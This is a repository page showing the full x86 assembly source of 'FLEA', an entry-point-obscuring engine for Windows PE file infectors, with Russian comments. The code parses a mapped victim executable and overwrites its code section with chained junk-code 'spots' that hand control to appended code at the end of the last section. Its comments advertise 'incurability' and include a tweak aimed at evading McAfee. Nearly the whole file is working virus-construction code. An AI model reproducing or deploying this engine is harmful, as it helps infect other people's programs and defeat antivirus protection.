Files
MalwareSourceCode/libs/VirTool.Win32.Cryptor.Flea.asm
T
2020-10-09 21:56:39 -05:00

776 lines
48 KiB
NASM
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ;
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ;
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ;
; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ;
; xxxx xxxx xxxx xxxx xx xxxx ;
; xxxx xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
; ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; UEP ENGINE ;
; FLEA ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; :)! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; функция FLEA ;
; уеп(уёб) движок ;
; ;
; ;
;ВХОД: ;
;1 параметр (и единственный) - адрес структуры (UEPGEN) (ее описание смотри ниже) ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД: ;
;EAX - абсолютный виртуальный адрес точки входа ;
;(а также самое главное: запись пятен в кодовую секцию с последующим сохранением оригинальных байт ;
;--------------------------------------------------------------------------------------------------------;
;ЗАМЕТКИ: ;
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ;
;вызова данного движка остаются теми же. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; UEPGEN ;
; ;
; ;
;UEPGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций ;
; mapped_addr dd ? ;база мэппинга файла (MapViewOfFile) ;
; xsection dd ? ;IMAGE_SECTION_HEADER секции, в которую после после передать управление ;
; reserved1 dd ? ;зарезервировано ;
;MORPHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; T2GEN ;
; (aka TRASHGEN) ;
; (более детальное описание смотри в движке xTG) ;
; ;
; ;
;TRASHGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
; size_trash dd ? ;размер (в байтах), сколько мусора записать ;
; regs dd ? ;занятые регистры (2 шт) ;
; xmask1 dd ? ;64-битная маска для генерации ;
; xmask2 dd ? ;мусорных команд (ака фильтр) ;
; beg_addr dd ? ;начальный адрес ;
; end_addr dd ? ;конечный адрес ;
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ;
; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
;TRASHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ UEPGEN: ;
; ;
; ;
;[ rgen_addr ] : ;
; так как данный движок (FLEA) разработан без привязки к какому-либо другому мотору, ;
; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ;
; хранится в (данном) поле структуры. ;
; ВАЖНО: если мотор FLEA будет использовать другой ГСЧ (а не тот, который ;
; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ;
; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ;
; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;
; Остальные регистры должны остаться неизменными. Все. ;
;--------------------------------------------------------------------------------------------------------;
;[ tgen_addr ] : ;
; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ;
; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ;
; тип-топ). ;
;--------------------------------------------------------------------------------------------------------;
;[ mapped_addr ] : ;
; в этом поле хранится база мэппинга файла. Как пример, значение получаемое после ;
; вызова функи MapViewOfFile. ;
;--------------------------------------------------------------------------------------------------------;
;[ xsection ] : ;
; здесь передавать либо 0, либо IMAGE_SECTION_HEADER (в жертве) той секции, в ;
; которую после отработки должен будет передать управление данный uep-движок. ;
; Если здесь 0, то управление будет передано в конец последней секции. ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ЗАМЕТКИ ;
; ;
; ;
;1) для сокрытия точки входа (то есть для генерации пятен) следует вызвать (главную) функцию FLEA. ;
;2) для восстановления ранее сохраненных байт следует вызвать FLEA_RESTBYTES (возможно потребуется ;
; нужному участку памяти задать атрибуты страниц на чтение+запись). ;
;3) так как пятна представляют собой подфункции (с прологом, эпилогом, командой ret), и переход к ;
; следующему пятну осуществляется с помощью CALL'ов, то в стэке лежат разные значения. И чтобы после ;
; стэк сбалансировать, следует вызвать FLEA_RESTSTACK. ВАЖНО: перед вызовом функции FLEA_RESTSTACK, ;
; в стэке не должно быть уже никаких других данных. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ФИЧИ ;
; ;
; ;
;(+) генерация рандомного числа пятен ;
; ;
;(+) пятна имеют рандомный размер, а также разный переход по пятнам (сверху вниз и наоборот) ;
; ;
;(+) техника неизлечимости ;
; ;
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ;
; ;
;(+) базонезависимость ;
; ;
;(+) пятна выглядят как подфункции (с прологом, эпилогом, командой ret, а также возможно и fake winapi) ;
; ;
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ;
; * можно компилить как самостоятельный модуль; ;
; ;
;(+) не юзает WinAPI ;
; ;
;(+) управление можно передавать на любую секцию после отработки uep-движка (также опционально) ;
; ;
;(x) использует данные и дельта-смещение. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ИСПОЛЬЗОВАНИЕ: ;
; ;
; ;
;1) Подключение: ;
; FLEA.asm ;
;2) Вызов (пример stdcall): ;
; ... ;
; szBuf db 100 dup (00h) ;
; ... ;
; lea ecx,szBuf ;
; assume ecx:ptr UEPGEN ;
; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ;
; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ;
; mov [ecx].mapped_addr,00330000h ;по этому адресу находится база мэппинга ;
; mov [ecx].xsection,0 ;ставим в ноль, значит уеп после передаст управление ;
; ;на конец последней секции ;
; ;остальные параметры обнулены. ;
; call FLEA ;вызываем полиморфный движок ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;v1.0
;коменты обычно пишутся ночью, поэтому возможен бредняк в них.
;m1x
;pr0mix@mail.ru
;EOF
;========================================================================================================
;структуры
;========================================================================================================
UEPGEN struct
rgen_addr dd ?
tgen_addr dd ?
mapped_addr dd ?
xsection dd ?
reserved1 dd ?
UEPGEN ends
;--------------------------------------------------------------------------------------------------------
T2GEN struct ;
rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
size_trash dd ? ;размер (в байтах), сколько мусора записать ;
regs dd ? ;занятые регистры (2 шт) ;
xmask1 dd ? ;64-битная маска для генерации ;
xmask2 dd ? ;мусорных команд (ака фильтр) ;
beg_addr dd ? ;начальный адрес ;
end_addr dd ? ;конечный адрес ;
mapped_addr dd ? ;база мэпинга ;
reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
T2GEN ends ;
;========================================================================================================
MAX_SPOTS equ 10 ;максимальное кол-во генерируемых пятен
uportion1 equ 85 ;размер (в байтах) 1-ой порции мусора
uportion2 equ 50 ;размер (в байтах) 2-ой порции мусора
MIN_FIRST_PORTION equ uportion1-30 ;генерировать первую порцию мусора не меньше данного кол-ва байт
min_jmp equ uportion1+uportion2+7+10+30 ;расстояние минимальное
max_jmp equ min_jmp+200 ;расстояние максимальное
;далее идут значения для трэшгена
begin_address equ 0 ;начальный адрес (описание смотри в xTG.asm, либо ставь нули)
end_address equ 0 ;конечный адрес
mask_trash1 equ 00000000000011111111110101111001b ;маска для мусора
mask_trash2 equ 011110000b ;2-ая часть маски (разрешаем только генерацию фэйковых апишек)
FLEA: ;движок FLEA
pushad ;сохраняем регистры
cld
mov ebp,esp ;[ebp+00]
mov ebx,dword ptr [ebp+24h]
assume ebx:ptr UEPGEN ;ebx - указатель на структуру UEPGEN
mov esi,[ebx].mapped_addr
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
push esi ;[ebp-04] ;сохраняем указатель на IMAGE_NT_HEADERS
lodsd
assume esi:ptr IMAGE_FILE_HEADER
movzx ecx,[esi].NumberOfSections
movzx edx,[esi].SizeOfOptionalHeader
add esi,sizeof IMAGE_FILE_HEADER
assume esi:ptr IMAGE_OPTIONAL_HEADER
push [esi].AddressOfEntryPoint ;[ebp-08] ;сохраняем точку входа
push [esi].ImageBase ;[ebp-12] ;сохраняем базу
add esi,edx
assume esi:ptr IMAGE_SECTION_HEADER
sub esp,(sizeof T2GEN + 4 + 80) ;выделяем в стэке место для временных переменных и структуры T2GEN (aka TRASHGEN)
mov tgen_struct,esp
mov edx,esp
assume edx:ptr T2GEN
;--------------------------------------------------------------------------------------------------------
push mask_trash1 ;пофильтруем маску для генерации трэша
call gen_mask
or al,1
mov xtmask1,eax
push mask_trash2
call gen_mask
or eax,01110000b
mov xtmask2,eax
;--------------------------------------------------------------------------------------------------------
push [ebx].rgen_addr ;вначале заполним некоторые поля структуры TRASHGEN
pop [edx].rgen_addr
mov [edx].regs,0FFh
push xtmask1
pop [edx].xmask1
push xtmask2
pop [edx].xmask2
mov [edx].beg_addr,begin_address
mov [edx].end_addr,end_address
push [ebx].mapped_addr
pop [edx].mapped_addr
xor eax,eax
cdq
;--------------------------------------------------------------------------------------------------------
_search_new_ep_: ;далее начинаем поиск кодовой секции
cmp edx,[esi].VirtualAddress
ja _search_code_sec_
cmp eax,[esi].PointerToRawData
ja _search_code_sec_
mov edx,[esi].VirtualAddress ;а также сохраним новую точку входа (она будет указывать на конец последней секции)
mov eax,[esi].PointerToRawData
mov edi,[esi].SizeOfRawData
mov new_ep,edx
add new_ep,edi
;--------------------------------------------------------------------------------------------------------
_search_code_sec_:
push eax
mov eax,old_ep
mov edi,[esi].VirtualAddress
cmp edi,eax;old_ep
ja _nextsection_
cmp [esi].Misc.VirtualSize,0
jne _vsok_
add edi,[esi].SizeOfRawData
jmp _psok_
_vsok_:
add edi,[esi].Misc.VirtualSize
_psok_:
cmp edi,eax
jbe _nextsection_
sub eax,[esi].VirtualAddress
add eax,[esi].PointerToRawData
add eax,[ebx].mapped_addr
mov start_addr,eax ;если нашли кодовую секцию, то сохраним физический адрес точки входа, т.к. отсюда и начнем клепать пятна
mov codesec,esi ;а также сохраним аказатель в табличке секций на кодовую секцию
_nextsection_:
pop eax
add esi,sizeof IMAGE_SECTION_HEADER
loop _search_new_ep_
;--------------------------------------------------------------------------------------------------------
mov esi,codesec ;после вычислим конец кодовой секции
mov eax,[esi].SizeOfRawData
cmp eax,[esi].Misc.VirtualSize
jbe _sizecsok_
cmp [esi].Misc.VirtualSize,0
je _sizecsok_
mov eax,[esi].Misc.VirtualSize
_sizecsok_:
add eax,[esi].VirtualAddress
sub eax,old_ep
mov size_codesec,eax
add eax,old_ep
mov max_codesec_addr,eax
mov edi,imNTh
assume edi:ptr IMAGE_NT_HEADERS
;--------------------------------------------------------------------------------------------------------
_maxvacs_: ;далее, найдем максимальный адрес, и получится отрезок:
;[физич. адрес точки входа ; максимальный адрес в кодовой секции]
;и в этом отрезке будем записывать пятна. Иначе в кодовой секции могут быть директории импорта, tls и т.д.
;И если мы перепишем их своими пятнами, то будет пыцдэт файлу
mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress
cmp old_ep,eax
ja _nextdatadir_
cmp max_codesec_addr,eax
jb _nextdatadir_
mov max_codesec_addr,eax
_nextdatadir_:
inc ecx
cmp ecx,15
jne _maxvacs_
;--------------------------------------------------------------------------------------------------------
mov eax,max_codesec_addr
sub eax,[esi].VirtualAddress
add eax,[esi].PointerToRawData
add eax,[ebx].mapped_addr
mov max_codesec_addr,eax ;получаем максимальный физический адрес в кодовой секции
;Так, теперь диапазон у нас есть
mov eax,start_addr
mov cur_codesec_addr,eax
push MAX_SPOTS
call [ebx].rgen_addr ;рэндомно получаем, сколько пятен сгенерим и запишем в кодовую секцию
inc eax
mov num_spots,eax
call _delta_uep_
_delta_uep_:
pop eax
sub eax,_delta_uep_
lea ecx,[restore_bytes+eax]
mov beg_rest_bytes,ecx ;в этот буфер будем сохранять оригинальные байты из кодовой секции (которые перепишем пятнами)
xor ecx,ecx
;--------------------------------------------------------------------------------------------------------
_nextaddrforspots_:
call get_jmpaddr ;получим адрес очередного пятна, на которое прыгнем
add eax,cur_codesec_addr
push eax
add eax,(uportion1+uportion2+7+10) ;прибавим 2 порции мусора + max размер (mov reg,<address> call reg) (7 byte) + размер пролога и эпилога для каждого пятнышка (6 byte + 3 byte) + размер команды ret (+1 byte)
cmp eax,max_codesec_addr ;и сравним с максимальный допустимым адресом
pop eax
jae _alladdrforspots_ ;если больше макс. адреса, то пятна больше не варик генерить, и выходим из цикла
push eax ;иначе сохраняем в стэке адрес
mov cur_codesec_addr,eax ;сделаем текущим адресом проверки адрес для нового пятна
inc ecx
cmp ecx,num_spots
jne _nextaddrforspots_
_alladdrforspots_:
mov num_spots,ecx ;сохраним кол-во пятен, которые точно можно записать в кодовой секции
;--------------------------------------------------------------------------------------------------------
cmp cl,1
push 0
pop eax
jb _enduep_ ;если ноль пятен, то выходим из движка
mov eax,esp
push start_addr ;будем перемешивать все полученные адреса пятен, кроме первого
je _nomixaddr_
;--------------------------------------------------------------------------------------------------------
push ecx
push eax
call mix_addr ;перемешаем адреса пятен
_nomixaddr_:
xor edx,edx
mov edi,beg_rest_bytes
stosb ;в 1-ом байте будет храниться кол-во пятен. Пока пропустим его
mov cur_rest_bytes,edi
;--------------------------------------------------------------------------------------------------------
_genspot_:
mov edi,cur_rest_bytes
_portion1_:
push uportion1
call [ebx].rgen_addr
cmp eax,MIN_FIRST_PORTION
jb _portion1_
mov spot1,eax
xchg eax,ecx
push uportion2
call [ebx].rgen_addr
mov spot2,eax
add ecx,eax
add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)
mov eax,ecx
stosd ;сначала сохраним в спец. буфере размер очередного пятна (это 1-ая порция мусора + jmp + 2-ая порция мусора)
mov eax,dword ptr [esp]
mov esi,codesec
sub eax,[ebx].mapped_addr
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
add eax,base
stosd ;и сохраним следом абослютный виртуальный адрес, куда после будем восстанавливать ранее сохраненные байты
mov esi,dword ptr [esp]
rep movsb ;а после сохраним байты, на место которых запишем пятно
mov cur_rest_bytes,edi
pop edi
push edx
mov edx,tgen_struct
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,edi
mov [edx].size_trash,6 ;размер пролога
mov [edx].xmask1,0b
mov [edx].xmask2,100b ;в маске разрешаем генерацию только пролога (для другого генератора мусора здесь возможна генерация порции мусора)
push edx
call [ebx].tgen_addr ;запишем пролог (push ebp mov ebp,esp sub esp,0xXX)
push xtmask1
pop [edx].xmask1
push xtmask2
pop [edx].xmask2
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov eax,spot1
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;запишем первую порцию мусора
xchg eax,edi
push edi
add edi,5
mov eax,dword ptr [esp+04]
cmp eax,num_spots ;проверим, остался последний адрес для записи пятна?
jne _nextspot_ ;если да, тогда запишем финальное пятно, jmp в котором будет указывать на последнюю секцию, а не на очередное пятно
;********************************************************************************************************
comment %
;запись финального пятна
mov esi,codesec ;с помощью нехитрой формулы посчитаем операнд для jmp (0xE9)
sub edi,[ebx].mapped_addr
sub edi,[esi].PointerToRawData
add edi,[esi].VirtualAddress
mov ecx,[ebx].xsection
jecxz _notxsec_
assume ecx:ptr IMAGE_SECTION_HEADER
sub edi,[ecx].VirtualAddress
sub edi,[ecx].SizeOfRawData ;здесь строим call near (0xE8 0xXX 0xXX 0xXX 0xXX)
jmp _finalcall_
_notxsec_:
sub edi,new_ep
_finalcall_:
neg edi
xchg edi,dword ptr [esp]
mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)
stosb
pop eax
stosd
;%
;comment ! ;for mcafe
mov edi,new_ep
mov ecx,[ebx].xsection
jecxz _notxsec_ ;если поле пустое, значит управление после уепа передаем в конец последней секции
assume ecx:ptr IMAGE_SECTION_HEADER
mov edi,[ecx].VirtualAddress
add edi,[ecx].SizeOfRawData
_notxsec_:
add edi,base ;а здесь строим
xchg edi,dword ptr [esp]
mov al,0B8h ;mov reg32,<address>
stosb
pop eax
stosd
mov al,0FFh ;call reg32
stosb
mov al,0D0h
stosb
;!
mov [edx].buf_for_trash,edi
mov eax,spot2
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;2-ая порция мусора для финального пятна
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov [edx].size_trash,3 ;размер эпилога
mov [edx].xmask1,0b
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
push edx
call [ebx].tgen_addr ;запишем эпилог для финального пятна (mov esp,ebp pop ebp)
mov byte ptr [eax],0C3h ;и запишем ret
;--------------------------------------------------------------------------------------------------------
pop edx
jmp _endspot_ ;выходим из цикла
;********************************************************************************************************
;запись очередного пятна
_nextspot_:
sub edi,dword ptr [esp+08] ;следующий адрес
neg edi
xchg edi,dword ptr [esp]
mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)
stosb
pop eax
stosd
mov [edx].buf_for_trash,edi
mov eax,spot2
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;2 порция мусора для очередного пятнышка
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov [edx].size_trash,3 ;размер эпилога
mov [edx].xmask1,0b
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
push edx
call [ebx].tgen_addr ;запишем эпилог для очередного пятна (mov ebp,esp pop ebp)
mov byte ptr [eax],0C3h ;и запишем ret
;--------------------------------------------------------------------------------------------------------
pop edx
inc edx
jmp _genspot_
;--------------------------------------------------------------------------------------------------------
_endspot_:
mov edi,beg_rest_bytes
mov eax,num_spots ;корректируем кол-во записанных пятен (т.к. до этого мы не посчитали 1-ого пятна, которое всегда записывается в точке входа)
inc eax
stosb
mov eax,start_addr
mov esi,codesec
sub eax,[ebx].mapped_addr
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
add eax,base
;--------------------------------------------------------------------------------------------------------
_enduep_:
mov esp,ebp
mov dword ptr [ebp+1Ch],eax ;результат в EAX
popad
ret 4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец дфункции/движка FLEA
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTBYTES
;восстановление ранее сохраненных байт (на свои места)
;ВЫХОД:
; - делает свое дело :)
;EAX - кол-во сгенерированных пятен (на места которых восстановим ранее сохраненные байты)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
FLEA_RESTBYTES:
pushad
cld
call _delta_ueprest_
_delta_ueprest_:
pop eax
sub eax,_delta_ueprest_
lea esi,[restore_bytes+eax]
push esi
xor eax,eax
lodsb
xchg eax,ebx ;сохраняем в EBX кол-во записанных пятен
mov edx,ebx
_nextrestspot_:
lodsd
xchg eax,ecx ;сохраняем в ECX размер очередного пятна
lodsd
xchg eax,edi ;сохраняем в EDI адрес, где находится очередное пятно
rep movsb ;и запишем на место этого пятна оригинальные (ранее сохраненные) байты
dec ebx
jne _nextrestspot_
pop eax
sub esi,eax
xchg eax,esi
mov dword ptr [esp+1Ch],edx
popad
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции FLEA_REST
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTSTACK
;сбаланирование стэка после после пятен
;ВХОД (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):
;num_spots - количество отработанных в жертве пятен
; (это значение можно получить из буфера restore_bytes)
;ВЫХОД:
;балансировка стэка, а также в ECX=0, EAX = адрес команды, которая выполняется сразу после вызова данной
;функции (FLEA_RESTSTACK);
;ЗАМЕТКИ:
; так как каждое пятно меняло регистр EBP и ESP (клало EBP в стэк, а также адрес, следующий за
; CALL'ом), то надо восстановить данные регистры, и соответственно стэк.
; ВАЖНО: вызывать эту функцию только тогда, когда в стэке вы уже не храните никакие данные.
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
FLEA_RESTSTACK:
pop eax
pop ecx
_reststack_:
add esp,4 ;pop edx
mov esp,ebp
pop ebp
loop _reststack_
jmp eax
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функи FLEA_RESTSTACK
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция gen_mask
;генерация маски для мусора
;ВХОД (stdcall) (gen_mask(DWORD xmask)):
; xmask - начальная маска
;ВЫХОД:
; EAX - новая маска
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
gen_mask:
push ecx
mov ecx,dword ptr [esp+08]
push -1
call [ebx].rgen_addr
and ecx,eax
rol eax,10h
push eax
call [ebx].rgen_addr
and ecx,eax
xchg eax,ecx
pop ecx
ret 4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_mask
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция get_jmpaddr
;получение операнда для jmp'a, который будет прыгать на следующее пятно
;ВЫХОД:
;ЕАХ - искомое значение
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
get_jmpaddr:
push max_jmp
call [ebx].rgen_addr
cmp eax,min_jmp
jb get_jmpaddr
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции get_jmpaddr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция mix_addr
;перемешивание случайным образом данных в массиве
;заметки: в данном движке используется для перемешивания случаным образом адресов пятен
;ВХОД ( mix_adr(DWORD *addr_mas, DWORD num_elem) ):
;addr_mas - адрес буфера(массива), где находятся значения, которые следует перемешать
;num_elem - кол-во этих самых элементов
;ВЫХОД:
;перемешанные адреса в буфере(массиве)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
mix_addr:
pushad ;
mov ecx,dword ptr [esp+28h] ;ECX - кол-во элементов
mov esi,dword ptr [esp+24h] ;ESI - адрес буфера, где находятся эти элементы
xor edx,edx
_nxtmix_:
push ecx
call [ebx].rgen_addr ;получаем СЧ [0..ECX-1]
push dword ptr [esi+edx*4] ;и перемешиваем
push dword ptr [esi+eax*4]
pop dword ptr [esi+edx*4]
pop dword ptr [esi+eax*4]
inc edx
cmp edx,ecx
jne _nxtmix_ ;если перемешали все элементы, то на выход
popad
ret 4*2
